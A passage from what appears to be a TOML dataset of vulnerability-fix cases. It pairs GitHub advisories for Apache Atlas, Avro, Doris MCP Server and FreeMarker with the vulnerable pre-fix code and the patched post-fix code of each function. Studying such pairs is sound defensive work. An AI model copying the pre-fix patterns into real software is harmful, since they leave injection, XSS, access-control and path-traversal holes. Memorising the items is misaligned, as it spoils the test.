splitStr.length; i++) {\n array.push(splitStr[i].trim());\n }\n }\n return array;\n }\n if (options.url) {\n $.ajax({\n url: options.url,\n success: function(response) {\n if (response) {\n if (response['atlas.rest-csrf.enabled']) {\n var str = \"\" + response['atlas.rest-csrf.enabled'];\n csrfEnabled = (str.toLowerCase() == 'true');\n }\n if (response[\"atlas.rest-csrf.custom-header\"] && (header = response[\"atlas.rest-csrf.custom-header\"].trim()),\n response[\"atlas.rest-csrf.methods-to-ignore\"] && (methods = getTrimmedStringArrayValue(response[\"atlas.rest-csrf.methods-to-ignore\"])),\n csrfEnabled) {\n CommonViewFunction.restCsrfCustomHeader = header, CommonViewFunction.restCsrfMethodsToIgnore = {},\n CommonViewFunction.restCsrfValue = response[\"_csrfToken\"] || '\"\"',\n methods.map(function(method) {\n CommonViewFunction.restCsrfMethodsToIgnore[method] = !0;\n });\n var statusCodeErrorFn = function(error) {\n Utils.defaultErrorHandler(null, error)\n }\n Backbone.$.ajaxSetup({\n statusCode: {\n 401: statusCodeErrorFn,\n 419: statusCodeErrorFn,\n 403: statusCodeErrorFn\n },\n beforeSend: CommonViewFunction.addRestCsrfCustomHeader\n });\n }\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response.responseJSON);\n }\n }\n });\n }\n }\n CommonViewFunction.CheckDuplicateAndEmptyInput = function(elements, datalist) {\n var keyMap = new Map(),\n validation = true,\n hasDup = [];\n for (var i = 0; i < elements.length; i++) {\n var input = elements[i],\n pEl = input.nextElementSibling,\n classes = 'form-control',\n val = input.value.trim();\n pEl.innerText = \"\";\n\n if (val === '') {\n validation = false;\n pEl.innerText = 'Required!';\n } else if (val.includes(':')) {\n validation = false;\n var errorText = $(\".errorMsg[data-id='charSupportMsg']\").text();\n if (errorText && errorText.length === 0) {\n pEl.innerText = \"These special character '(:)' are not supported.\";\n }\n } else {\n if (input.tagName === 'INPUT') {\n var duplicates = datalist.filter(function(c) {\n return c.key === val;\n });\n if (keyMap.has(val) || duplicates.length > 1) {\n classes = 'form-control errorClass';\n hasDup.push('duplicate');\n pEl.innerText = 'Duplicate key';\n } else {\n keyMap.set(val, val);\n }\n }\n }\n if (validation === false) {\n classes = 'form-control errorClass';\n }\n input.setAttribute('class', classes);\n }\n return {\n validation: validation,\n hasDuplicate: (hasDup.length === 0 ? false : true)\n };\n }\n CommonViewFunction.getRandomIdAndAnchor = function() {\n var randomId = \"collapse_\" + parseInt((Math.random() * 100)) + \"_\" + new Date().getUTCMilliseconds();\n return {\n id: randomId,\n anchor: \"#\" + randomId\n };\n }\n CommonViewFunction.udKeysStringParser = function(udKeys) {\n var o = {};\n _.each(udKeys.split(','), function(udKey) {\n var ud = udKey.split(':');\n o[ud[0]] = ud[1];\n })\n return o;\n }\n CommonViewFunction.udKeysObjectToStringParser = function(udKeys) {\n var list = _.map(udKeys, function(udKey) {\n var t = udKey.key + ':' + udKey.value;\n return t;\n });\n return list.join(',');\n }\n CommonViewFunction.fetchRootEntityAttributes = function(options) {\n $.ajax({\n url: options.url,\n methods: 'GET',\n dataType: 'json',\n cache: true,\n success: function(response) {\n if (response) {\n _.each(options.entity, function(rootEntity) {\n Globals[rootEntity] = $.extend(true, {}, response, { name: rootEntity, guid: rootEntity });\n });\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response);\n }\n }\n });\n }\n CommonViewFunction.fetchRootClassificationAttributes = function(options) {\n $.ajax({\n url: options.url,\n methods: 'GET',\n dataType: 'json',\n cache: true,\n success: function(response) {\n if (response) {\n _.each(options.classification, function(rootClassification) {\n Globals[rootClassification] = $.extend(true, {}, response, { name: rootClassification, guid: rootClassification });\n });\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response);\n }\n }\n });\n }\n return CommonViewFunction;\n});" +repo = "apache/atlas" +url = "https://github.com/apache/atlas.git" + +[[case]] +advisory = "GHSA-v73p-f52r-fmmr" +advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." +commit = "800f979307d6ea0f0b6563ec890f6b728022e497" +cwe = "CWE-80" +family = "output_encoding" +function = "RelationshipFilters" +function_lines = [[35, 162]] +id = "apache-atlas-f8d76d90d767826b" +language = "typescript" +method = "fix_site" +parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" +path = "dashboard/src/components/QueryBuilder/RelationshipFilters.tsx" +post_fix = "const RelationshipFilters = ({\n allDataObj,\n relationshipQuery,\n setRelationshipQuery\n}: any) => {\n const location = useLocation();\n const searchParams = new URLSearchParams(location.search);\n const relationshipParams = searchParams.get(\"relationshipName\");\n const { relationships }: any = useAppSelector(\n (state: any) => state.relationships\n );\n const { relationshipDefs } = relationships || {};\n\n let attrTagObj =\n !isEmpty(relationshipDefs) && !isEmpty(relationshipParams)\n ? relationshipDefs.find((relationship: { name: string }) => {\n return relationship.name == relationshipParams;\n })\n : {};\n\n if (attrTagObj) {\n // let realtionshipAttributeLength;\n attrTagObj = getNestedSuperTypeObj({\n data: attrTagObj,\n collection: relationshipDefs,\n attrMerge: true\n });\n // realtionshipAttributeLength = attrTagObj.length;\n }\n\n const fields = () => {\n let filters = [];\n let isGroupView = true;\n let rules_widgets = null;\n\n for (const attrObj in attrTagObj) {\n let returnObj: any = getObjDef(\n allDataObj,\n attrTagObj[attrObj],\n rules_widgets,\n isGroupView,\n relationshipParams + \" Attribute\"\n );\n if (returnObj) {\n filters.push(returnObj);\n }\n }\n\n return (filters satisfies Field[]).map((o) => toFullOption(o));\n };\n\n const groupedFields =\n fields()?.reduce(\n (\n acc: { [x: string]: any[] },\n field: { group: string | number | undefined }\n ) => {\n if (field && field.group !== undefined) {\n if (!acc[field.group]) {\n acc[field.group] = [];\n }\n acc[field.group].push(field);\n }\n return acc;\n },\n {}\n ) || {};\n\n const fieldsObj = Object.keys(groupedFields).map((group) => ({\n label: group,\n options: groupedFields[group]\n }));\n\n return (\n \n \n \n Relationship: {relationshipParams}\n \n \n \n {!isEmpty(fieldsObj) ? (\n {\n if (\n props.operator === \"is_null\" ||\n props.operator === \"not_null\"\n ) {\n return null;\n }\n return ;\n }\n }}\n translations={{\n addGroup: {\n label: (\n <>\n Add filter group\n \n )\n },\n addRule: {\n label: (\n <>\n Add filter\n \n )\n }\n }}\n />\n ) : (\n \n No Attributes are available !\n \n )}\n \n \n );\n};" +pre_fix = "const RelationshipFilters = ({\n allDataObj,\n relationshipQuery,\n setRelationshipQuery\n}: any) => {\n const location = useLocation();\n const searchParams = new URLSearchParams(location.search);\n const relationshipParams = searchParams.get(\"relationshipName\");\n const { relationships }: any = useAppSelector(\n (state: any) => state.relationships\n );\n const { relationshipDefs } = relationships || {};\n\n let attrTagObj =\n !isEmpty(relationshipDefs) && !isEmpty(relationshipParams)\n ? relationshipDefs.find((relationship: { name: string }) => {\n return relationship.name == relationshipParams;\n })\n : {};\n\n if (attrTagObj) {\n // let realtionshipAttributeLength;\n attrTagObj = getNestedSuperTypeObj({\n data: attrTagObj,\n collection: relationshipDefs,\n attrMerge: true\n });\n // realtionshipAttributeLength = attrTagObj.length;\n }\n\n const fields = () => {\n let filters = [];\n let isGroupView = true;\n let rules_widgets = null;\n\n for (const attrObj in attrTagObj) {\n let returnObj: any = getObjDef(\n allDataObj,\n attrTagObj[attrObj],\n rules_widgets,\n isGroupView,\n relationshipParams + \" Attribute\"\n );\n if (returnObj) {\n filters.push(returnObj);\n }\n }\n\n return (filters satisfies Field[]).map((o) => toFullOption(o));\n };\n\n const groupedFields =\n fields()?.reduce(\n (\n acc: { [x: string]: any[] },\n field: { group: string | number | undefined }\n ) => {\n if (field && field.group !== undefined) {\n if (!acc[field.group]) {\n acc[field.group] = [];\n }\n acc[field.group].push(field);\n }\n return acc;\n },\n {}\n ) || {};\n\n const fieldsObj = Object.keys(groupedFields).map((group) => ({\n label: group,\n options: groupedFields[group]\n }));\n\n return (\n \n \n \n Relationship: {relationshipParams}\n \n \n \n {!isEmpty(fieldsObj) ? (\n {\n if (\n props.operator === \"is_null\" ||\n props.operator === \"not_null\"\n ) {\n return;\n }\n return ;\n }\n }}\n translations={{\n addGroup: {\n label: (\n <>\n Add filter group\n \n )\n },\n addRule: {\n label: (\n <>\n Add filter\n \n )\n }\n }}\n />\n ) : (\n \n No Attributes are available !\n \n )}\n \n \n );\n};" +repo = "apache/atlas" +url = "https://github.com/apache/atlas.git" + +[[case]] +advisory = "GHSA-rp46-r563-jrc7" +advisory_text = "Apache Avro Java SDK is Vulnerable to Code Injection\n\nImproper Control of Generation of Code ('Code Injection') vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas.\n\nThis issue affects Apache Avro Java SDK: all versions through 1.11.4 and version 1.12.0.\n\nUsers are recommended to upgrade to version 1.12.1 or 1.11.5, which fix the issue." +commit = "84bc7322ca1c04ab4a8e4e708acf1e271541aac4" +cwe = "CWE-94" +family = "injection" +function = "javaSplit" +function_lines = [[1032, 1047]] +id = "apache-avro-1c1ac5d9361c069c" +language = "java" +method = "fix_site" +parent = "80400781a796bc0e90dd8ea1db42234926db33e9" +path = "lang/java/compiler/src/main/java/org/apache/avro/compiler/specific/SpecificCompiler.java" +post_fix = " public String javaSplit(String s) throws IOException {\n StringBuilder b = new StringBuilder(s.length());\n b.append(\"\\\"\"); // initial quote\n for (int i = 0; i < s.length(); i += maxStringChars) {\n if (i != 0)\n b.append(\"\\\",\\\"\"); // insert quote-comma-quote\n String chunk = s.substring(i, Math.min(s.length(), i + maxStringChars));\n b.append(escapeForJavaString(chunk)); // escape chunks\n }\n b.append(\"\\\"\"); // final quote\n return b.toString();\n }\n\n /**\n * Utility for template use. Escapes quotes and backslashes.\n */" +pre_fix = " public String javaSplit(String s) throws IOException {\n StringBuilder b = new StringBuilder(s.length());\n b.append(\"\\\"\"); // initial quote\n for (int i = 0; i < s.length(); i += maxStringChars) {\n if (i != 0)\n b.append(\"\\\",\\\"\"); // insert quote-comma-quote\n String chunk = s.substring(i, Math.min(s.length(), i + maxStringChars));\n b.append(javaEscape(chunk)); // escape chunks\n }\n b.append(\"\\\"\"); // final quote\n return b.toString();\n }\n\n /**\n * Utility for template use. Escapes quotes and backslashes.\n */" +repo = "apache/avro" +url = "https://github.com/apache/avro.git" + +[[case]] +advisory = "GHSA-rp46-r563-jrc7" +advisory_text = "Apache Avro Java SDK is Vulnerable to Code Injection\n\nImproper Control of Generation of Code ('Code Injection') vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas.\n\nThis issue affects Apache Avro Java SDK: all versions through 1.11.4 and version 1.12.0.\n\nUsers are recommended to upgrade to version 1.12.1 or 1.11.5, which fix the issue." +commit = "84bc7322ca1c04ab4a8e4e708acf1e271541aac4" +cwe = "CWE-94" +family = "injection" +function = "javaEscape" +function_lines = [[1048, 1054]] +id = "apache-avro-1d43772609028459" +language = "java" +method = "fix_site" +parent = "80400781a796bc0e90dd8ea1db42234926db33e9" +path = "lang/java/compiler/src/main/java/org/apache/avro/compiler/specific/SpecificCompiler.java" +post_fix = " public static String javaEscape(String o) {\n return escapeForJavaString(o);\n }\n\n /**\n * Utility for template use. Escapes comment end with HTML entities.\n */" +pre_fix = " public static String javaEscape(String o) {\n return o.replace(\"\\\\\", \"\\\\\\\\\").replace(\"\\\"\", \"\\\\\\\"\");\n }\n\n /**\n * Utility for template use. Escapes comment end with HTML entities.\n */" +repo = "apache/avro" +url = "https://github.com/apache/avro.git" + +[[case]] +advisory = "GHSA-rp46-r563-jrc7" +advisory_text = "Apache Avro Java SDK is Vulnerable to Code Injection\n\nImproper Control of Generation of Code ('Code Injection') vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas.\n\nThis issue affects Apache Avro Java SDK: all versions through 1.11.4 and version 1.12.0.\n\nUsers are recommended to upgrade to version 1.12.1 or 1.11.5, which fix the issue." +commit = "84bc7322ca1c04ab4a8e4e708acf1e271541aac4" +cwe = "CWE-94" +family = "injection" +function = "javaAnnotations" +function_lines = [[1005, 1031]] +id = "apache-avro-f133a25fc910fb31" +language = "java" +method = "fix_site" +parent = "80400781a796bc0e90dd8ea1db42234926db33e9" +path = "lang/java/compiler/src/main/java/org/apache/avro/compiler/specific/SpecificCompiler.java" +post_fix = " public String[] javaAnnotations(JsonProperties props) {\n final Object value = props.getObjectProp(\"javaAnnotation\");\n if (value instanceof String && isValidAsAnnotation((String) value))\n return new String[] { value.toString() };\n if (value instanceof List) {\n final List list = (List) value;\n final List annots = new ArrayList<>(list.size());\n for (Object o : list) {\n if (isValidAsAnnotation(o.toString()))\n annots.add(o.toString());\n }\n return annots.toArray(new String[0]);\n }\n return new String[0];\n }\n\n private static final String PATTERN_IDENTIFIER_PART = \"\\\\p{javaJavaIdentifierStart}\\\\p{javaJavaIdentifierPart}*\";\n private static final String PATTERN_IDENTIFIER = String.format(\"(?:%s(?:\\\\.%s)*)\", PATTERN_IDENTIFIER_PART,\n PATTERN_IDENTIFIER_PART);\n private static final String PATTERN_STRING = \"\\\"(?:\\\\\\\\[\\\\\\\\\\\"ntfb]|(? list = (List) value;\n final List annots = new ArrayList<>(list.size());\n for (Object o : list) {\n annots.add(o.toString());\n }\n return annots.toArray(new String[0]);\n }\n return new String[0];\n }\n\n // maximum size for string constants, to avoid javac limits\n int maxStringChars = 8192;\n\n /**\n * Utility for template use. Takes a (potentially overly long) string and splits\n * it into a quoted, comma-separted sequence of escaped strings.\n *\n * @param s The string to split\n * @return A sequence of quoted, comma-separated, escaped strings\n */" +repo = "apache/avro" +url = "https://github.com/apache/avro.git" + +[[case]] +advisory = "GHSA-m35w-xx8c-6xc7" +advisory_text = "Apache Doris-MCP-Server: Improper Access Control results in bypassing a \"read-only\" mode\n\nAn attacker with a valid read-only account can bypass Doris MCP Server’s read-only mode due to improper access control, allowing modifications that should have been prevented by read-only restrictions.\n\nImpact:\n\nBypasses read-only mode; attackers with read-only access may perform unauthorized modifications.\n\nRecommended action for operators: Upgrade to version 0.6.0 as soon as possible (this release contains the fix)." +commit = "5923cc1c8973069a6d54eca1948a10488cbf409e" +cwe = "CWE-284" +family = "access_control" +function = "execute_sql_query" +function_lines = [[829, 858]] +id = "apache-doris-mcp-server-58f237c099a19c43" +language = "python" +method = "fix_site" +parent = "9b5ac8533dd5d0637cc3de70a0fd9dbd272beae6" +path = "doris_mcp_server/utils/query_executor.py" +post_fix = "async def execute_sql_query(sql: str, connection_manager: DorisConnectionManager, **kwargs) -> Dict[str, Any]:\n \"\"\"Execute SQL query - unified convenience function for MCP tools\n \n This function now includes security validation to ensure safe query execution.\n All queries are validated against the configured security policies before execution.\n \"\"\"\n try:\n # Create query executor with the connection manager's configuration\n executor = DorisQueryExecutor(connection_manager)\n \n try:\n # Extract parameters from kwargs or use defaults\n limit = kwargs.get(\"limit\", 1000)\n timeout = kwargs.get(\"timeout\", 30)\n session_id = kwargs.get(\"session_id\", \"mcp_session\")\n user_id = kwargs.get(\"user_id\", \"mcp_user\")\n \n # The execute_sql_for_mcp method now includes security validation\n result = await executor.execute_sql_for_mcp(\n sql=sql,\n limit=limit,\n timeout=timeout,\n session_id=session_id,\n user_id=user_id\n )\n return result\n finally:\n await executor.close()\n \n except Exception as e:\n return {\n \"success\": False,\n \"error\": f\"Query execution failed: {str(e)}\",\n \"error_type\": \"execution_error\",\n \"data\": None,\n \"metadata\": {\n \"query\": sql,\n \"execution_error\": str(e)\n }\n }" +pre_fix = "async def execute_sql_query(sql: str, connection_manager: DorisConnectionManager, **kwargs) -> Dict[str, Any]:\n \"\"\"Execute SQL query - unified convenience function for MCP tools\"\"\"\n try:\n # Create query executor\n executor = DorisQueryExecutor(connection_manager)\n \n try:\n # Extract parameters from kwargs or use defaults\n limit = kwargs.get(\"limit\", 1000)\n timeout = kwargs.get(\"timeout\", 30)\n session_id = kwargs.get(\"session_id\", \"mcp_session\")\n user_id = kwargs.get(\"user_id\", \"mcp_user\")\n \n result = await executor.execute_sql_for_mcp(\n sql=sql,\n limit=limit,\n timeout=timeout,\n session_id=session_id,\n user_id=user_id\n )\n return result\n finally:\n await executor.close()\n \n except Exception as e:\n return {\n \"success\": False,\n \"error\": f\"Query execution failed: {str(e)}\",\n \"data\": None\n }" +repo = "apache/doris-mcp-server" +url = "https://github.com/apache/doris-mcp-server.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "getURL" +function_lines = [[138, 149]] +id = "apache-freemarker-0209dc8ff7a5a0b9" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/ClassTemplateLoader.java" +post_fix = " protected URL getURL(String name) {\n String fullPath = basePackagePath + name;\n\n // Block java.net.URLClassLoader exploits:\n if (basePackageIsRoot && !isSchemeless(fullPath)) {\n return null;\n }\n\n return resourceLoaderClass != null\n ? resourceLoaderClass.getResource(fullPath)\n : classLoader.getResource(fullPath);\n }\n" +pre_fix = " protected URL getURL(String name) {\n String fullPath = basePackagePath + name;\n\n // Block java.net.URLClassLoader exploits:\n if (basePackagePath.equals(\"/\") && !isSchemeless(fullPath)) {\n return null;\n }\n\n return resourceLoaderClass != null ? resourceLoaderClass.getResource(fullPath) : classLoader\n .getResource(fullPath);\n }\n" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "concatPath" +function_lines = [[814, 841]] +id = "apache-freemarker-203931cda95af8bc" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" +post_fix = " private String concatPath(List path, int from, int to) {\n StringBuilder buf = new StringBuilder((to - from) * 16);\n for (int i = from; i < to; ++i) {\n buf.append(path.get(i)).append('/');\n }\n return buf.toString();\n }\n\n /**\n * This class holds a (name, locale) pair and is used as the key in the cached templates map.\n */\n private static final class TemplateKey {\n private final String name;\n private final Locale locale;\n private final Object customLookupCondition;\n private final String encoding;\n private final boolean parse;\n\n TemplateKey(String name, Locale locale, Object customLookupCondition, String encoding, boolean parse) {\n this.name = name;\n this.locale = locale;\n this.customLookupCondition = customLookupCondition;\n this.encoding = encoding;\n this.parse = parse;\n }\n\n @Override" +pre_fix = " private String concatPath(List path, int from, int to) {\n StringBuilder buf = new StringBuilder((to - from) * 16);\n for (int i = from; i < to; ++i) {\n buf.append(path.get(i)).append('/');\n }\n return buf.toString();\n }\n \n /**\n * This class holds a (name, locale) pair and is used as the key in\n * the cached templates map.\n */\n private static final class TemplateKey {\n private final String name;\n private final Locale locale;\n private final Object customLookupCondition;\n private final String encoding;\n private final boolean parse;\n\n TemplateKey(String name, Locale locale, Object customLookupCondition, String encoding, boolean parse) {\n this.name = name;\n this.locale = locale;\n this.customLookupCondition = customLookupCondition;\n this.encoding = encoding;\n this.parse = parse;\n }\n\n @Override" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "getClassNameForToString" +function_lines = [[30, 38]] +id = "apache-freemarker-29fe382661669370" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateLoaderUtils.java" +post_fix = " public static String getClassNameForToString(TemplateLoader templateLoader) {\n final Class tlClass = templateLoader.getClass();\n final Package tlPackage = tlClass.getPackage();\n return tlPackage == Configuration.class.getPackage() || tlPackage == TemplateLoader.class.getPackage()\n ? tlClass.getSimpleName() : tlClass.getName();\n }\n\n}" +pre_fix = " public static String getClassNameForToString(TemplateLoader templateLoader) {\n final Class tlClass = templateLoader.getClass();\n final Package tlPackage = tlClass.getPackage();\n return tlPackage == Configuration.class.getPackage() || tlPackage == TemplateLoader.class.getPackage()\n ? tlClass.getSimpleName() : tlClass.getName();\n }\n\n \n}" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "TemplateConfigurationFactoryException" +function_lines = [[28, 31]] +id = "apache-freemarker-35b46d5635d33c30" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateConfigurationFactoryException.java" +post_fix = " public TemplateConfigurationFactoryException(String message) {\n this(message, null);\n }\n" +pre_fix = " public TemplateConfigurationFactoryException(String message) {\n super(message);\n }\n" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "getTemplateInternal" +function_lines = [[323, 463]] +id = "apache-freemarker-46458e154673da1a" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" +post_fix = " private Template getTemplateInternal(\n final String name, final Locale locale, final Object customLookupCondition,\n final String encoding, final boolean parseAsFTL)\n throws IOException {\n final boolean debug = LOG.isDebugEnabled();\n final String debugName = debug\n ? buildDebugName(name, locale, customLookupCondition, encoding, parseAsFTL)\n : null;\n final TemplateKey tk = new TemplateKey(name, locale, customLookupCondition, encoding, parseAsFTL);\n\n CachedTemplate cachedTemplate;\n if (isStorageConcurrent) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n } else {\n synchronized (storage) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n }\n }\n\n final long now = System.currentTimeMillis();\n\n long lastModified;\n boolean rethrown = false;\n TemplateLookupResult newLookupResult = null;\n try {\n if (cachedTemplate != null) {\n // If we're within the refresh delay, return the cached copy\n if (now - cachedTemplate.lastChecked < updateDelay) {\n if (debug) {\n LOG.debug(debugName + \" cached copy not yet stale; using cached.\");\n }\n // Can be null, indicating a cached negative lookup\n Object t = cachedTemplate.templateOrException;\n if (t instanceof Template || t == null) {\n return (Template) t;\n } else if (t instanceof RuntimeException) {\n throwLoadFailedException((RuntimeException) t);\n } else if (t instanceof IOException) {\n rethrown = true;\n throwLoadFailedException((IOException) t);\n }\n throw new BugException(\"t is \" + t.getClass().getName());\n }\n\n // Clone as the instance bound to the map should be treated as\n // immutable to ensure proper concurrent semantics\n cachedTemplate = cachedTemplate.cloneCachedTemplate();\n // Update the last-checked flag\n cachedTemplate.lastChecked = now;\n\n // Find the template source\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n // Template source was removed\n if (!newLookupResult.isPositive()) {\n if (debug) {\n LOG.debug(debugName + \" no source found.\");\n }\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n // If the source didn't change and its last modified date\n // also didn't change, return the cached version.\n final Object newLookupResultSource = newLookupResult.getTemplateSource();\n lastModified = templateLoader.getLastModified(newLookupResultSource);\n boolean lastModifiedNotChanged = lastModified == cachedTemplate.lastModified;\n boolean sourceEquals = newLookupResultSource.equals(cachedTemplate.source);\n if (lastModifiedNotChanged && sourceEquals) {\n if (debug) {\n LOG.debug(debugName + \": using cached since \" + newLookupResultSource + \" hasn't changed.\");\n }\n storeCached(tk, cachedTemplate);\n return (Template) cachedTemplate.templateOrException;\n } else if (debug) {\n if (!sourceEquals) {\n LOG.debug(\"Updating source because: \" +\n \"sourceEquals=false\" +\n \", newlyFoundSource=\" + StringUtil.jQuoteNoXSS(newLookupResultSource) +\n \", cached.source=\" + StringUtil.jQuoteNoXSS(cachedTemplate.source));\n } else {\n LOG.debug(\"Updating source because: \" +\n \"lastModifiedNotChanged=\" + lastModifiedNotChanged +\n \", cached.lastModified=\" + cachedTemplate.lastModified +\n \" != source.lastModified=\" + lastModified);\n }\n }\n } else {\n if (debug) {\n LOG.debug(\"Couldn't find template in cache for \" + debugName + \"; will try to load it.\");\n }\n\n // Construct a new CachedTemplate entry. Note we set the\n // cachedTemplate.lastModified to Long.MIN_VALUE. This is\n // a flag that signs it has to be explicitly queried later on.\n cachedTemplate = new CachedTemplate();\n cachedTemplate.lastChecked = now;\n\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n if (!newLookupResult.isPositive()) {\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n cachedTemplate.lastModified = lastModified = Long.MIN_VALUE;\n }\n\n Object source = newLookupResult.getTemplateSource();\n cachedTemplate.source = source;\n\n // If we get here, then we need to (re)load the template\n if (debug) {\n LOG.debug(\"Loading template for \" + debugName + \" from \" + StringUtil.jQuoteNoXSS(source));\n }\n\n lastModified = lastModified == Long.MIN_VALUE ? templateLoader.getLastModified(source) : lastModified;\n Template template = loadTemplate(\n templateLoader, source,\n name, newLookupResult.getTemplateSourceName(), locale, customLookupCondition,\n encoding, parseAsFTL);\n cachedTemplate.templateOrException = template;\n cachedTemplate.lastModified = lastModified;\n storeCached(tk, cachedTemplate);\n return template;\n } catch (RuntimeException e) {\n if (cachedTemplate != null) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } catch (IOException e) {\n if (!rethrown) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } finally {\n if (newLookupResult != null && newLookupResult.isPositive()) {\n templateLoader.closeTemplateSource(newLookupResult.getTemplateSource());\n }\n }\n }" +pre_fix = " private Template getTemplateInternal(\n final String name, final Locale locale, final Object 